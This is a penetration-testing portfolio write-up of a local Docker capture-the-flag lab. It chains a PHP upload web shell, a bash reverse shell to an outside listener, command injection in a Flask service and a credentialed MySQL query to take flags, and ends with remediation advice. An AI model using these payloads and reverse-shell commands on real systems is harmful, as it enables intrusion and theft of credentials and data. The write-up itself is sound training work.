

PENETRATION TESTING PORTFOLIO

CTF 3: The Vault

Multi-Tier Network Pivoting — Hard Difficulty

Target	localhost:8083 (Docker multi-container: vault-perimeter, vault-internal, vault-database)
Category	Network Pentesting / Lateral Movement
Difficulty	Hard
Technologies	PHP/Apache (Perimeter), Python/Flask (Internal), MySQL 5.7 (Database)
Vulnerabilities	Unrestricted File Upload, Command Injection, Network Segmentation Bypass
Tools Used	curl, netcat, nmap, bash reverse shell
Date	August 31, 2026

1. EXECUTIVE SUMMARY

This assessment targeted **The Vault**, a simulated enterprise network consisting of three isolated tiers: a public-facing web server (perimeter), an internal file processing service, and a hardened database server. The objective was to breach the perimeter, pivot through the internal network, and extract the master vault key from the database.

Key Findings:

Unrestricted File Upload (CRITICAL): The perimeter web server accepted and executed arbitrary PHP files without validation, leading to remote code execution.

Command Injection (CRITICAL): The internal Flask application passed unsanitized user input to `os.popen()`, enabling arbitrary command execution on the internal tier.

Weak Network Segmentation (HIGH): The perimeter container had unrestricted access to the internal service, and the internal service could reach the database, allowing full chain compromise from a single entry point.

Impact: An attacker exploiting the file upload vulnerability could achieve full network compromise across all three tiers, extract all three flags, and access sensitive database contents including API keys and backup codes.

2. TARGET ARCHITECTURE

The Vault was deployed as three Docker containers on isolated networks, simulating a typical DMZ-Internal-Database enterprise architecture:

Tier	Container	Network	Exposure	Technology
Perimeter	vault-perimeter	dmz + internal_net	Port 8083 (host)	PHP 7.4 / Apache
Internal	vault-internal	internal_net + db_net	None (isolated)	Python 3.9 / Flask
Database	vault-database	db_net	None (isolated)	MySQL 5.7

Attack Path: Attacker → Perimeter (8083) → Internal (5000) → Database (3306). Only the perimeter was exposed to the host; internal and database tiers were reachable only from within the Docker network.

3. METHODOLOGY

Assessment followed the PTES (Penetration Testing Execution Standard) framework:

Phase	Description	Tools
Pre-Engagement	Define scope: breach perimeter, pivot, extract flags	N/A
Intelligence Gathering	Map network topology and exposed services	nmap, curl
Threat Modeling	Identify entry points: file upload, command injection	Manual analysis
Vulnerability Analysis	Test upload restrictions and input validation	curl, Browser
Exploitation	Gain foothold, escalate, pivot across tiers	PHP shell, netcat, reverse shell
Post-Exploitation	Extract flags and sensitive data from all tiers	curl, mysql client

4. DETAILED WALKTHROUGH

4.1 Stage 1: Perimeter Breach — File Upload to RCE

The perimeter web server exposed an upload form at the root path. Testing revealed zero validation: no extension whitelist, no MIME type checking, no path sanitization, and no content inspection.

Payload Creation:

```
cat > /tmp/shell.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
```

Upload:

```
curl -X POST http://localhost:8083/upload.php -F "file=@/tmp/shell.php"
```

Code Execution Verification:

```
curl "http://localhost:8083/uploads/shell.php?cmd=id"
```

Result: Remote code execution achieved as www-data (uid=33). The server executed the uploaded PHP file and returned the output of the id command.

CVSS 3.1 Score: 9.8 (CRITICAL) — CWE-434: Unrestricted Upload of File with Dangerous Type

4.2 Stage 2: Reverse Shell & Post-Exploitation

To enable interactive exploitation and pivoting, the PHP shell was upgraded to a full TCP reverse shell using bash.

Attacker Listener:

```
nc -lvnp 4444
```

Reverse Shell Trigger:

```
curl "http://localhost:8083/uploads/shell.php?cmd=bash%20-c%20...%20/dev/tcp/192.168.2.100/4444%20..."
```

Result: A persistent interactive shell was established on the perimeter container. From this foothold, internal network reconnaissance was performed.

Flag 1 Retrieved:

```
FLAG{perimeter_upload_pwned}
```

4.3 Stage 3: Network Pivoting & Internal Discovery

From the perimeter shell, the internal Docker network was enumerated. The internal service was discovered at *internal:5000* (resolved via Docker DNS to 172.21.0.2).

Discovery Commands:

```
ping -c 1 internal  
curl http://internal:5000/
```

Result: The internal service was identified as a Flask-based file processor with a single POST endpoint at /process that accepted a filename parameter.

CVSS 3.1 Score: 7.5 (HIGH) — CWE-284: Improper Access Control (network segmentation failure)

4.4 Stage 4: Internal Exploitation — Command Injection

The /process endpoint passed the filename parameter directly to os.popen() without sanitization, enabling command injection.

Vulnerable Code:

```
cmd = f"cat /opt/files/{filename}"  
result = os.popen(cmd).read()
```

Exploitation Payload:

```
{"filename": "; cat /opt/flag2.txt; #"}}
```

The semicolon terminated the cat command, executed the desired payload, and the hash commented out the remainder of the original command string.

Flag 2 Retrieved:

```
FLAG{internal_service_compromised}
```

Database Credentials Also Extracted:

```
Host: database | User: root | Pass: VaultDB_R00t_2024
```

CVSS 3.1 Score: 9.8 (CRITICAL) — **CWE-78:** OS Command Injection

4.5 Stage 5: Database Compromise & Master Key Extraction

With database credentials obtained from the internal tier, the MySQL database was queried. An initial connection attempt failed due to TLS certificate verification (MariaDB client defaulting to SSL). The connection was established using `--skip-ssl`.

Initial Error:

```
ERROR 2026 (HY000): TLS/SSL error: Certificate verification failure
```

Successful Query:

```
mysql --skip-ssl -h database -u root -pVaultDB_R00t_2024 vault -e "SELECT * FROM secrets;"
```

Flag 3 Retrieved:

```
FLAG{full_ch41n_0wn4g3_r00t_v4ult_c0mpr0m1s3d}
```

Additional Sensitive Data: API key (ak_live_51H8x...) and backup code (8675309) were also extracted from the secrets table.

CVSS 3.1 Score: 9.1 (CRITICAL) — CWE-522: Insufficiently Protected Credentials

Evidence — Complete Exploitation Chain:

```
Aug 31 16:08
akachi@akachi-ThinkPad-T440s: ~/ctf-lab/ctf3-hard-vault

{"output": "Database Credentials\nHost: database\nUser: root\nPass: VaultDB_R00t_2024\nCommand: mysql -h database -u root -pVaultDB_R00t_2024 vault\n"}
www-data@836e37997568:/var/www/html/uploads$
<VaultDB_R00t_2024 vault -e "SELECT * FROM secrets;"
bash: mysql: command not found
www-data@836e37997568:/var/www/html/uploads$ curl -X POST http://internal:5000/process \
-H "Content-Type: application/json" \
<uploads$ curl -X POST http://internal:5000/process \ltdb_R00t_2024 vault -e "SELECT * FROM secrets;\;" #}"
>
-H "Content-Type: application/json" \
>
<R00t_2024 vault -e "SELECT * FROM secrets;\;" #}"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 115 100 14 100 101 138 1000 --:--:-- --:--:-- --:--:-- 1138
{"output": ""}
www-data@836e37997568:/var/www/html/uploads$ curl -X POST http://internal:5000/process \
-H "Content-Type: application/json" \
<uploads$ curl -X POST http://internal:5000/process \
-H "Content-Type: application/json" \
>
-d '{"filename": "mysql --version 2>&1; #"}'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 148 100 108 100 40 7714 2857 --:--:-- --:--:-- --:--:-- 10571
{"output": "mysql from 11.8.6-MariaDB, client 15.2 for debian-linux-gnu (x86_64) using EditLine wrapper\n"}
www-data@836e37997568:/var/www/html/uploads$ curl -X POST http://internal:5000/process \
-H "Content-Type: application/json" \
<uploads$ curl -X POST http://internal:5000/process \ltdb_R00t_2024 vault -e "SELECT * FROM secrets;\;" 2>&1; #}"
>
-H "Content-Type: application/json" \
>
<2024 vault -e "SELECT * FROM secrets;\;" 2>&1; #}"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 222 100 116 100 106 2468 2255 --:--:-- --:--:-- --:--:-- 4723
{"output": "ERROR 2026 (HY000): TLS/SSL error: Certificate verification failure: The certificate is NOT trusted.\n"}
www-data@836e37997568:/var/www/html/uploads$ curl -X POST http://internal:5000/process \
-H "Content-Type: application/json" \
<uploads$ curl -X POST http://internal:5000/process \ root -pVaultDB_R00t_2024 vault -e "SELECT * FROM secrets;\;" 2>&1; #}"
>
-H "Content-Type: application/json" \
>
<2024 vault -e "SELECT * FROM secrets;\;" 2>&1; #}"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 266 100 149 100 117 3547 2785 --:--:-- --:--:-- --:--:-- 6487
{"output": "id\\tname\\tvalue\\n\\tmaster_key\\tFLAG{full_ch4in_0wn4g3_r00t_v4ult_c0mpr0m1s3d}\\n2\\tapi_key\\tak_live_51H8x...\\n3\\tbackup_code\\t8675309\\n"}
www-data@836e37997568:/var/www/html/uploads$
```

Figure 1: Terminal showing reverse shell session. Top: DB credentials and Flag 2 extraction via command injection. Bottom: MySQL query bypassing TLS verification to retrieve Flag 3 (master vault key) and additional secrets.

5. REMEDIATION & RECOMMENDATIONS

Finding	Risk	Remediation
Unrestricted File Upload	CRITICAL	Implement strict file type validation (whitelist extensions, MIME types, magic bytes). S
Command Injection	CRITICAL	Never pass user input to shell commands. Use safe APIs (subprocess.run with explic
Weak Network Segmentation	HIGH	Implement zero-trust networking. Perimeter servers should not have unrestricted acc
Plaintext DB Credentials	HIGH	Store credentials in secrets managers (HashiCorp Vault, AWS Secrets Manager). Us
MySQL SSL Misconfiguration	MEDIUM	Properly configure SSL certificates for MySQL connections. If SSL is not required, ex

6. CONCLUSION

The Vault demonstrated a complete network compromise chain originating from a single unrestricted file upload vulnerability. The attack progressed from perimeter RCE to internal command injection to database access, extracting three flags and sensitive credentials across all tiers.

Time to Compromise: ~15 minutes

Attack Complexity: Medium — Required understanding of Docker networking and multi-tier architecture

Authentication Required: None — Fully unauthenticated initial entry

Tiers Compromised: 3/3 (Perimeter, Internal, Database)

This assessment highlights the critical importance of defense-in-depth: even with network segmentation, a single vulnerability at the perimeter can cascade into full environment compromise if lateral movement controls are insufficient.

Document generated for penetration testing portfolio.